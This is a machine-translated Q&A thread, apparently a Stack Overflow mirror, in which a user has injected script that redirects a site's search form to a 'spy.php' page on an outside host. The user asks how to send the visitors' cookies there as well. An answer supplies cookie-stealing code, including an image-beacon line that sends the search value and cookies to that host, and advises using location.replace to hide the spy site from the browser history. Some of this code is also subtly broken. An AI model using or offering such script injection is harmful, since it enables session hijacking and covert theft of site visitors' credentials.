2013-03-01 134 views
0

我有这个脚本,它发送无论是在搜索表单中输入(即搜索表单的id)给定的URL饼干和JavaScript

<script type="text/javascript"> 
document.getElementById("search-form").action="http://scitua.wlv.ac.uk/~in1345/spy.php"; 
</script > 

如何修改脚本,以便它发送文档cookie intsead到URL?

+0

我需要明白你想要做什么...你想从当前页面(在域xyz.com)发送cookie到另一个域(scitua.wlv.ac.uk) ?你打算通过这个来达到什么目的? – TheZuck 2013-03-01 13:41:02

+0

是@TheZuck,这是我想要做的。想知道如何修改上述脚本来达到这个目的? – IBK 2013-03-01 13:46:10

回答

0

原来的答复:

".../spy.php?param=" + encodeURIComponent(document.cookies); 


好了,你有两个选择:

  1. 完全重定向搜索到的间谍网站,并从间谍网站重定向用户返回到第一页。如果您不想在历史记录中保留间谍网站,您可以通过javascript location.replace来完成。
  2. 第二种方法更复杂。在搜索表单提交你设置一个这样的cookie,然后你让搜索表单提交。在搜索页面上,您将检查该cookie,如果已设置,您将读取并删除它。好的,你现在需要发送它的价值。简单的方法是:

    new Image().src="your_site?search="+search_val"+"&cookies="+document.cookies; 
    

    ,如果你还没有进入搜索页面,你也可以在信息直接在用户提交搜索表单,但这样做是非常怀疑,因为用户会等到数据被发送到您的。

+0

非常感谢您的帮助,但不幸的是,脚本仍然无法正常工作:( – IBK 2013-03-01 14:08:10

+0

@IBK在您不发布更详细的信息之前,我无法帮助您 – Zaffy 2013-03-01 14:10:12

+0

有一个具有搜索表单的网页。 ,我在搜索表单中搜索的任何东西都会发送到URL“http://scitua.wlv.ac.uk/~in1345/spy.php”。同样,我想要的是当我搜索任何东西时在第一个网页的搜索表单中,它还应该将文档cookie发送到URL“http://scitua.wlv.ac.uk/~in1345/spy.php” – IBK 2013-03-01 14:17:50